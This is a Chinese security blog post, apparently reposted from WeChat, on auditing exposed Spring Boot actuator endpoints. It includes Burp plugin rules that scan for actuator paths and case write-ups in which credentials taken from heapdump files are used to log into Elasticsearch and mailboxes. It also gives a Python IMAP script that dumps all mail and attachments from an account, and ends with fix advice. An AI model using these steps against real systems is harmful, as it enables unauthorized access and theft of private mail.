近期在进行spring actuator的漏洞排查专项,所以对当下的spring actuator进行排查的案例以及对排查方案与经验进行分享总结。
1. burp
2. Route Vulnerable Scan插件
3. heapdump_tool.jar
4. python
1、spring排查方案分享
2、heapdump信息利用
3、elasticsearch信息获取
4、邮箱账密利用
01 Route Vulnerable Scan排查
站点地图正常打开。
下载安装Route Vulnerable Scan插件
(https://github.com/F6JO/RouteVulScan)点击启动即可。
验证路径主要payload包括
/actuator
/api/actuator
/prod-api/actuator
/system/actuator
/admin/actuator等
配置Route Vulnerable Scan插件的Config_yaml.yaml增加
- {loaded: true, re: (/actuator/(heapdump|gateway|nacos-config|nacos-discovery|loggers)),
method: GET, name: actuator, id: 42, state: '200', type: Spring, url: /actuator/,
info: actuator real FInd !!!}
- {loaded: true, re: '({"_links":{"self":{)', method: GET, name: actuator,
id: 75, state: '200', type: Spring, url: /actuator/, info: actuator Find!!!}
- {loaded: true, re: '({"_links":{"self":{)', method: GET, name: actuator,
id: 82, state: '200', type: Spring, url: /api/actuator/, info: actuator Find!!!}
- {loaded: true, re: (/actuator/(heapdump|gateway|nacos-config|nacos-discovery|loggers)),
method: GET, name: actuator, id: 83, state: '200', type: Spring, url: /api/actuator/,
info: actuator real FInd !!!}
- {loaded: true, re: '({"_links":{"self":{)', method: GET, name: actuator,
id: 84, state: '200', type: Spring, url: /system/actuator/, info: actuator Find!!!}
- {loaded: true, re: (/actuator/(heapdump|gateway|nacos-config|nacos-discovery|loggers)),
method: GET, name: actuator, id: 85, state: '200', type: Spring, url: /system/actuator/,
info: actuator real FInd !!!}
- {loaded: true, re: '({"_links":{"self":{)', method: GET, name: actuator,
id: 86, state: '200', type: Spring, url: /prod-api/actuator/, info: actuator Find!!!}
- {loaded: true, re: (/actuator/(heapdump|gateway|nacos-config|nacos-discovery|loggers)),
method: GET, name: actuator, id: 87, state: '200', type: Spring, url: /prod-api/actuator/,
info: actuator real FInd !!!}
- {loaded: true, re: '({"_links":{"self":{)', method: GET, name: actuator,
id: 88, state: '200', type: Spring, url: /dev-api/actuator/, info: actuator Find!!!}
- {loaded: true, re: (/actuator/(heapdump|gateway|nacos-config|nacos-discovery|loggers)),
method: GET, name: actuator, id: 89, state: '200', type: Spring, url: /dev-api/actuator/,
info: actuator real FInd !!!}
- {loaded: true, re: '({"_links":{"self":{)', method: GET, name: actuator,
id: 90, state: '200', type: Spring, url: /test-api/actuator/, info: actuator Find!!!}
- {loaded: true, re: (/actuator/(heapdump|gateway|nacos-config|nacos-discovery|loggers)),
method: GET, name: actuator, id: 91, state: '200', type: Spring, url: /test-api/actuator/,
info: actuator real FInd !!!}
- {loaded: true, re: '({"_links":{"self":{)', method: GET, name: actuator,
id: 92, state: '200', type: Spring, url: /admin/actuator/, info: actuator Find!!!}
- {loaded: true, re: (/actuator/(heapdump|gateway|nacos-config|nacos-discovery|loggers)),
method: GET, name: actuator, id: 93, state: '200', type: Spring, url: /admin/actuator/,
info: actuator real FInd !!!}
02 heapdump文件分析
当spring actuator出现较多节点存在未授权访问时,一般主要留意gateway、heapdump、nacos相关节点、env等。
本文分享几个heapdump文件分析案例,分享heapdump排查思路。
需预先安装heapdump_tool。
(https://github.com/wyzxxz/heapdump_tool)
案例一:
检索下pass、access、secret、ak、sk等常规字段,看看堆存储文件中能找到什么信息
目前堆存储文件内只有三个密码信息
先查看下elasticsearch.password上级节点elasticsearch情况
地址账号密码,直接登入
枚举访问,看看里面都有些什么信息
发现账密与JWT token信息泄露
后续两个密码同理排查,但该案例另外两个地址无法访问,则不多赘述。
案例二:
目标系统内除了常见的各种数据库账密(一般采用navicat尝试连接验证)外,还存储有不少邮箱的账密信息
所以对mail字段进行了一次搜索,获取到四个邮箱的账密信息与smtp服务的地址端口
尝试访问业务系统的mail子域名mail.XXXX.com,尝试登入,其中一个账号成功登入,有大量订单信息泄露
另外几个邮箱web端无法登入,再从143或993端口尝试拉取下,此处使用AI生成一个邮箱信息拉取脚本
##接收邮件##
import imaplib
import email
from email.header import decode_header
import csv
import os
from datetime import datetime
# 邮箱服务器地址和端口
IMAP_SERVER = ""
IMAP_PORT = 993
# 用户名和密码
USERNAME = ""
PASSWORD = ""
def fetch_emails(folder="INBOX"):
# 创建 IMAP4_SSL 对象
mail = imaplib.IMAP4_SSL(IMAP_SERVER, IMAP_PORT)
# 登录邮箱
mail.login(USERNAME, PASSWORD)
# 选择邮箱文件夹
mail.select("INBOX")
# 搜索所有邮件
status, data = mail.search(None, "ALL")
if status != "OK":
print("No messages found!")
return
# 获取邮件ID列表
email_ids = data[0].split()
print(f"#####本账号中总计{len(email_ids)}邮件信息被发现")
base_dir = "./email_files"
os.makedirs(base_dir, exist_ok=True)
# 遍历邮件ID并获取邮件内容
# 倒序遍历邮件ID并获取邮件内容
with open(f'{folder}_emails.csv', 'w', newline='', encoding='utf-8') as csvfile:
fieldnames = ['id','Folder', 'Subject', 'From', 'Body']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
for email_id in reversed(email_ids):
status, msg_data = mail.fetch(email_id, "(RFC822)")
if status != "OK":
continue
# 解析邮件内容
msg = email.message_from_bytes(msg_data[0][1])
# 获取邮件主题
subject, encoding = decode_header(msg["Subject"])[0]
if isinstance(subject, bytes):
subject = subject.decode(encoding or "utf-8")
# 获取发件人
from_ = msg.get("From")
# 获取邮件正文
body = ""
if msg.is_multipart():
for part in msg.walk():
content_type = part.get_content_type()
if content_type == "text/plain":
try:
body = part.get_payload(decode=True).decode()
except:
continue
break
else:
body = msg.get_payload(decode=True).decode()
########################################
mail_id_str = email_id.decode('utf-8')
typ, data = mail.fetch(email_id, '(RFC822)')
raw_email = data[0][1]
email_message = email.message_from_bytes(raw_email)
# 获取邮件的日期
date = email.utils.parsedate_tz(email_message['Date'])
date_str = datetime.fromtimestamp(email.utils.mktime_tz(date)).strftime('%Y-%m-%d')
# 创建保存附件的目录
save_dir = os.path.join(base_dir, date_str, mail_id_str)
os.makedirs(save_dir, exist_ok=True)
# 遍历邮件的每个部分
i=0
for part in email_message.walk():
i+=1
if part.get_content_maintype() == 'multipart':
continue
if part.get('Content-Disposition') is None:
continue
# 获取附件的文件名
filename = part.get_filename()
if filename:
# 保存附件到指定路径
filepath = os.path.join(save_dir, filename)
try:
with open(filepath, 'wb') as f:
f.write(part.get_payload(decode=True))
except:
filepath = os.path.join(save_dir, f"{i}")
with open(filepath, 'wb') as f:
f.write(part.get_payload(decode=True))
print(f"附件已保存到: {filepath}")
#########################################
# 写入 CSV 文件
writer.writerow({
'id': email_id,
'Folder': folder,
'Subject': subject,
'From': from_,
'Body': body
})
print(f"Subject: {subject}")
print(f"From: {from_}")
print(f"Body: {body}")
print("-" * 50)
# 退出连接
mail.logout()
if __name__ == "__main__":
# 选择不同的文件夹
folders = ["INBOX", "Sent", "Drafts", "Trash", "Junk", "Deleted"]
# folders = ["INBOX"]
for folder in folders:
fetch_emails(folder)
成功拉取到其中一个邮箱内的信息
03 修复方案
1、开启页面访问限制或只允许特定 IP 访问该地址;
2、禁止将该服务放在公网中,或关闭此页面。
3、堆存储文件中涉及密码可能已存在泄露情况,需近期尽快进行更换。
原文始发于微信公众号(安全驾驶舱):【Web安全】heapdump实战利用案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论